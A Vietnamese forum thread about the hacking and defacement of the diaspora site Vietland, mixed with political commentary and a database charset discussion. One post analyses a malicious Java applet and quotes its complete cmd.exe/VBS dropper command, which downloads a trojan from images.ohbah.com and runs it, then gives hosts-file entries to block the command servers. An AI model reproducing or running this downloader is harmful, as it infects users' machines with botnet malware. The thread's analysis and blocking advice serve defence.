Vietland đã bị hacked thế nào ?

[Trungthuc5]

Những người Hacker cũng không khác gì những người phá làng phá xóm vậy thôi. Những người này thường có tính thiếu giáo dục bẩm sinh, có người dạy cách phá các web site thì trở thành hacker vậy thôi.

Những người có trình độ cao về computer không ai làm chuyện như một đám côn đồ, mất dạy cả.

Bởi vậy tôi luôn luôn đề cao một nền giáo dục đúng nghĩa, trước hết tạo con người có "nhân, nghĩ, lễ, trí, tín" trước, sau đó mới dạy những kiến thức căn bản để làm người.

Vì vậy nhiều nước tân tiến như Mỹ bắt buộc học sinh phải học hết trung học. Khi đi học thì mặc gì cũng đuợc.

Ở VN, người có tiền muốn cho con đi học cũng chẳng học được gì, còn phải tốn tiền với đồng phục sách vở và phong bì. Vào lớp thì chỉ học tư tưởng HCM, Mác Lê. Thật là phí cả thì giờ và tiền bạc.

Trên đường đến trường có thể chết bất cứ lúc nào (tai nạn giao thông).
Về nhà, dù nhà giàu có máy lạnh, cúp điện thì đập muỗi gần chết.
Bụi bặm, ruồi muỗi nhiễm trùng.

Vậy mà mấy ông hacker

[XuânNhi]

Phần Unicode của forum khong phai UTF-8 no se bi tro ngai cho RSS, nhung Website khac muon link to Vietland , can't type Vietnamese in unicode sorry .

Phần Unicode bị sai rồi . Setup lại ở phần Language .

meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1 SHOULD BE utf-8

[GateKeeper]

Rất tiếc là không đổi được bởi vì nguyên thuỷ database được tạo ra khi cài diễn đàn đã không ấn định utf-8 ngay từ đầu. Data trong DB hiện thời hoàn toàn encoded ISO-8859-1. Muốn đổi thì phải export data ra và convert hết thành utf-8 rồi tạo lại DB với tables có định dạng utf-8. Đây là một việc tốn nhiều thời gian và công sức.

[XuânNhi]

[GateKeeper]

Mấy con "sâu" mà Xuân Nhi cảnh báo không thể mở camera hay microphone trên máy bởi vì chúng không có instruction cho tất cả các devices. Tôi đã gởi 1 bài phân tích nhưng bị tin tặc deface nên phải phục hồi bản lưu cũ hơn.

Tổng thể mà nói, java applet MediaPlayer.jar chạy từ trang http://images.ohbah.com chỉ đơn giản thực thi các công tác lấy từ param có tên là "p":

param name='p' value='cmd.exe /c del %TEMP%\bnkyiz.vbs /F & echo Dim bst >> %TEMP%\bnkyiz.vbs & echo Dim s >> %TEMP%\bnkyiz.vbs & echo s="AD" >> %TEMP%\bnkyiz.vbs & echo s=s+"ODB.S"+"tream" >> %TEMP%\bnkyiz.vbs & echo Set bst=CreateObject(s) >> %TEMP%\bnkyiz.vbs & echo bst.Type=1 >> %TEMP%\bnkyiz.vbs & echo bst.Open >> %TEMP%\bnkyiz.vbs & echo bst.Write bg(Wscript.Arguments(0)) >> %TEMP%\bnkyiz.vbs & echo bst.SaveToFile Wscript.Arguments(1), 2 >> %TEMP%\bnkyiz.vbs & echo Function bg(URL) >> %TEMP%\bnkyiz.vbs & echo Dim Http >> %TEMP%\bnkyiz.vbs & echo Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") >> %TEMP%\bnkyiz.vbs & echo Http.Open "GET", URL, False >> %TEMP%\bnkyiz.vbs & echo Http.Send >> %TEMP%\bnkyiz.vbs & echo bg = Http.ResponseBody >> %TEMP%\bnkyiz.vbs & echo End Function >> %TEMP%\bnkyiz.vbs & echo s="WS" >> %TEMP%\bnkyiz.vbs & echo s=s+"cript.S"+"hell" >> %TEMP%\bnkyiz.vbs & echo Set shell = CreateObject (s) >> %TEMP%\bnkyiz.vbs & echo shell.Run "%TEMP%\gsnulqq.exe",0,True >> %TEMP%\bnkyiz.vbs & echo shell.Run "cmd.exe /c del %TEMP%\gsnulqq.exe /f",0 >> %TEMP%\bnkyiz.vbs & echo shell.Run "cmd.exe /c del %TEMP%\bnkyiz.vbs /f",0 >> %TEMP%\bnkyiz.vbs & start /MIN reg add "HKLM\Software\Microsoft\Windows Script Host\Settings" /v "Enabled" /t REG_DWORD /d 1 /f & start /MIN %TEMP%\bnkyiz.vbs http://images.ohbah.com/feed.xml %TEMP%\gsnulqq.exe'>

Rốt cuộc sẽ copy "feed.xml" từ http://images.ohbah.com về. Đây là 1 trojan trá hình và sẽ được đổi tên thành gsnulqq.exe. Sau đó gsnulqq.exe sẽ được tiến hành cài đặt và hình thành một task chạy trên máy với mạo danh Quicktime (QTTask.exe). Con này sẽ liên hệ các servers:
http://news.pedto.com
http://blogs.pinix.org
http://analytics.dynn.info

để lấy chỉ thị cho việc tấn công từ chối dịch vụ.

Anh chị em nên tạm thời chỉnh host file trên máy của mình (trên Windows XP, Vista, Windows 7... chỉnh trong c:\windows\system32\ drivers\etc\hosts) và thêm các dòng sau:

127.0.0.1 images.ohbah.com
127.0.0.1 frror.org www.frror.org
127.0.0.1 news.pedto.com
127.0.0.1 blogs.pinix.org
127.0.0.1 analytics.dynn.info

[TuongLaiVietNam]

Rất tiếc là không đổi được bởi vì nguyên thuỷ database được tạo ra khi cài diễn đàn đã không ấn định utf-8 ngay từ đầu. Data trong DB hiện thời hoàn toàn encoded ISO-8859-1. Muốn đổi thì phải export data ra và convert hết thành utf-8 rồi tạo lại DB với tables có định dạng utf-8. Đây là một việc tốn nhiều thời gian và công sức.

Bác GateKeeper cẩn thận chuyện này, không thì data bị corrupted hết thì khốn ! Tôi từng làm một chuyện tương tự, đổi BLOB to TEXT in MySQL và data bị corrupted. Cũng may là tôi đã dự đoán từ trước nên khi thử thì chỉ thử ở một table nho nhỏ, không hư hại nhiều.

[VuSJ]

Vậy hả, chống cộng phải ở lại trong nước để chống như sư hổ mang tính cho đó hả?
Tôi đây thích chống cộng cực đoan ở hải ngoại đó, rồi sao sư hổ mang quốc doanh?
...

Đồng ý với anh Suối Máu. Đâu mà có cái lý luận lạ đời chống cộng thì phải ở lại trong nuớc.

Bọn vẹm thì sợ cộng đồng người Việt chống cộng - sợ cả từ cái website nên tìm đủ mọi cách đánh phá. Từ thằng đảng trưởng, chủ tịch đến thủ tướng với quyền sanh sát trong tay mà ra nước ngoài còn lẩn tránh như trạch, họp hành thì chỉ chui cửa sau chứ có mà dám vác mặt đến đàng hoàng. Đúng là lũ vượn vẹm.

[Tiếng Xưa]

Bọn vẹm trươc đến giờ vẫn rất ngứa mắt với mấy cái diễn đan tự do cuả người Việt hải ngoại, nơi mà mọi người chống cộng - lẫn bọn thân, nịnh, bợ và ...sợ cộng cũng đeo mặt nạ vãng lai - vẫn kiên trì CHỐNG CỘNG!

Hành động phá hoại hèn hạ này chỉ làm cho người ta thấy rõ thêm - rõ thì đã rõ lắm rồi - sự yếu thế và bất lực cuả bọn cầm quyền VN đối với sức mạnh cộng đồng người Việt tự do hải ngoại.

Cám ơn BBT và BĐH VL đã ngaỳ đêm chống trả với bọn gian ác, giữ vững VietLand, nơi mà tiếng nói cuả những người quyết tâm bảo vệ lập trường, tranh đấu cuả tập thể người Việt hải ngoại nói riêng, toan dân VN nói chung cho một VN tự do dân chủ .

[/CODE]

Lạc đề rồi "sư phụ", bài chủ đang nói về vấn đề VL bị hack đâu có nói chống cccđ. Coi bộ "sư phụ" có tinh thần CC cao quá, thế sao không ở lại trong nước CC với tụi nhỏ vậy?
.....
.

Chỉ có "tụi nhỏ" trong nước CC sao? Và "tụi nhỏ" nào ở trong nước "CC" vậy bạn?

Cho bạn biết nhé, lớn, nhỏ, già, trẻ, trai, gái, và toàn dân VN, khi nào còn CỘNG thì phải CHỐNG CỘNG!
Dân trong nươc không dám lớn tiếng chống cộng vì như cá nằm trên thớt...đảng, chứ ai ai cũng biết là lòng dân rất căm phẫn bọn bán nước, hại dân, chính là bọn việt cộng!